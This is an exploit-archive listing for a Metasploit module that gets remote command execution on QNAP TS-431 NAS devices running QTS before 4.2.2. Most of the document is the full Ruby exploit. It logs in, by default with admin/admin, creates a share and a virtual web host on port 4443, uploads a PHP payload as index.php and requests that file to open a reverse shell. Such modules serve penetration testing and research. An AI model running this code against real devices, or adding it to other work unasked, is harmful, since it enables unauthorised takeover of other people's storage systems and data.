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QNAP TS-431 QTS Remote Command Execution

QNAP TS-431 QTS Remote Command Execution
Posted Mar 7, 2019
Authored by Ozkan Mustafa Akkus | Site metasploit.com

This Metasploit module creates a virtual web server and uploads the php payload into it. Admin privileges cannot access any server files except File Station files. The user who is authorized to create Virtual Web Server can upload malicious php file by activating the server. Exploit creates a new directory into File Station to connect to the web server. However, only the "index.php" file is allowed to work in the virtual web server directory. No files can be executed except "index.php". Gives an access error. After the harmful "index.php" has been uploaded, the shell can be retrieved from the server. There is also the possibility of working in higher versions. Affects versions prior to 4.2.2.

tags | exploit, web, shell, php
MD5 | a35108ec28d9740153245bbe67cbb79a

QNAP TS-431 QTS Remote Command Execution

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## 
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'base64'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize
super(
'Name' => 'QNAP TS-431 QTS < 4.2.2 - Remote Command Execution',
'Description' => %q{
This module creates a virtual web server and uploads the php payload into it.
Admin privileges cannot access any server files except File Station files.
The user who is authorized to create Virtual Web Server can upload malicious php file by activating the server.
Exploit creates a new directory into File Station to connect to the web server.
However, only the "index.php" file is allowed to work in the virtual web server directory.
No files can be executed except "index.php". Gives an access error.
After the harmful "index.php" has been uploaded, the shell can be retrieved from the server.
There is also the possibility of working in higher versions.
},
'Author' => [
'AkkuS <Azkan Mustafa AkkuA>', # Vulnerability Discovery, PoC & Msf Module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://pentest.com.tr/exploits/QNAP-QTS-4-2-2-Remote-Command-Execution-Metasploit.html'],
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['QNAP QTS <= 4.2.2', {}]
],
'DisclosureDate' => '06 March 2019',
'Privileged' => false,
'DefaultTarget' => 0
)

register_options(
[
OptBool.new('SSL', [true, 'Use SSL', false]),
OptString.new('TARGETURI', [true, 'The base path to QNAP', '/']),
OptString.new('USER', [true, 'User to login with', 'admin']),
OptString.new('PASS', [true, 'Password to login with', 'admin']),
], self.class)
end
##
# Check Exploit Vulnerable
##
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri, "/cgi-bin/login.html")
})

if res and res.code == 200 and res.body =~ /dc=4.2./
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
return res
end
##
# Login
##
def exploit

b64pwd = Base64.encode64("#{datastore['PASS']}")
b64 = b64pwd.split('=').first

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri, "/cgi-bin/authLogin.cgi"),
'vars_post' => {
"user" => datastore['USER'],
"pwd" => "#{b64}=",
"serviceKey" => "1"
}
})

if res and res.code == 200 and res.body =~ /authSid/
print_good("Login successful")
nasid = res.body.split("authSid><![CDATA[")[1].split("]")[0]
print_status("sid = #{nasid}")
else
print_error("Login failed")
end
##
# Update Login Time with sid
##
cookie = "NAS_USER=#{datastore['USER']}; NAS_SID=#{nasid}; home=1; showQuickStart=1"
res = send_request_cgi({
'method' => 'POST',
'cookie' => cookie,
'uri' => normalize_uri(target_uri, "/cgi-bin/userConfig.cgi"),
'vars_post' => {
"func" => "updateLoginTime",
"sid" => "#{nasid}"
}
})

if res and res.code == 200 and res.body =~ /true/
print_good("Update Login Time Successful")
else
print_error("Update failed")
end

##
# Create Folder in File Station for Web Server
##
cmdfile = "cmd#{rand_text_alphanumeric(rand(5) + 5)}"
print_status("Web Folder = /#{cmdfile}")
print_status("Attempting to create a folder via File Station.")
res = send_request_cgi({
'method' => 'POST',
'cookie' => cookie,
'uri' => normalize_uri(target_uri, "/cgi-bin/wizReq.cgi?&wiz_func=share_create&action=add_share"),
'vars_post' => {
"share_name" => cmdfile,
"comment" => "",
"guest" => "deny",
"hidden" => "0",
"oplocks" => "1",
"EncryptData" => "0",
"wizard_filter" => "",
"user_wizard_filter" => "",
"userw0" => "#{datastore['USER']}",
"userd_len" => "0",
"userw_len" => "1",
"usero_len" => "0",
"access_r" => "setup_users",
"img_file_path" => "",
"path_type" => "auto",
"quotaSettings" => "",
"quota_size" => "",
"recycle_bin" => "1",
"recycle_bin_administrators_only" => "0",
"quotaRadio" => "0",
"vol_no" => "1",
"addToMediaFolder" => "0",
"qsync" => "0",
"sid" => "#{nasid}"
}
})

if res and res.code == 200 and res.body =~ /buildTime/
print_good("File Create Successful")
else
print_error("File Create Failed")
end
##
# Enable Virtual Host
##
print_status("Attempting to Enable Virtual Host")
res = send_request_cgi({
'method' => 'POST',
'cookie' => cookie,
'uri' => normalize_uri(target_uri, "/cgi-bin/net/networkRequest.cgi?&subfunc=web_srv&apply=1&todo=set_enable"),
'vars_post' => {
"enable" => "1",
"sid" => "#{nasid}"
}
})

if res and res.code == 200
print_good("Virtual Host Enabled")
else
print_error("Process Failed")
end
##
# Enable Virtual Host
##
print_status("Attempting to Create Virtual Host")
res = send_request_cgi({
'method' => 'POST',
'cookie' => cookie,
'uri' => normalize_uri(target_uri, "/cgi-bin/net/networkRequest.cgi?&subfunc=web_srv"),
'vars_post' => {
"apply" => "1",
"share_folder" => "1",
"manual_path" => cmdfile,
"vhost_name" => "cmd",
"vhost_port" => "4443",
"vhost_ssl" => "0",
"todo" => "add_vhost",
"sid" => "#{nasid}"
}
})

if res and res.code == 200
print_good("Virtual Host Started on port 4443")
else
print_error("Process Failed")
end
##
# Fetching upload_id information
##
print_status("Attempting to Upload get Upload ID")
res = send_request_cgi({
'method' => 'POST',
'cookie' => cookie,
'uri' => normalize_uri(target_uri, "/cgi-bin/filemanager/utilRequest.cgi?func=start_chunked_upload"),
'vars_post' => {
"upload_root_dir" => "/#{cmdfile}",
"sid" => "#{nasid}"
}
})

if res and res.code == 200 and res.body =~ /upload_id/
print_good("Login successful")
uploadid = res.body.split("upload_id")[1].split('"')[2]
print_status("Upload ID = #{uploadid}")
else
print_error("Login failed")
end
##
# Upload Payload
##
boundary = Rex::Text.rand_text_alphanumeric(29)

data = "-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"fileName\"\r\n\r\n"
data << "msf.php\r\n-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"file\"; filename=\"blob\"\r\n"
data << "Content-Type: application/octet-stream\r\n\r\n"
data << payload.encoded
data << "\r\n-----------------------------{boundary}--\r\n"

print_status("Attempting to Upload Payload to Reverse Shell")

res = send_request_raw(
{
'method' => "POST",
'uri' => normalize_uri(target_uri, "/cgi-bin/filemanager/utilRequest.cgi?sid=#{nasid}&func=chunked_upload&dest_path=/#{cmdfile}&overwrite=1&upload_root_dir=/#{cmdfile}&upload_id=#{uploadid}&offset=0&filesize=1115&upload_name=index.php&settime=1&mtime=1551868245"),
'data' => data,
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=---------------------------{boundary}',
},
'cookie' => cookie
})

if res and res.code == 200
print_good("Payload Uploaded Successful")
else
print_error("Upload Failed")
end
##
# Execute the Payload
##
print_status("Attempting to execute the payload...")

res = request_url("http://#{rhost}:4443/index.php")

if res and res.code == 200
print_good "Payload executed successfully"
end
end
end
##
# End
##

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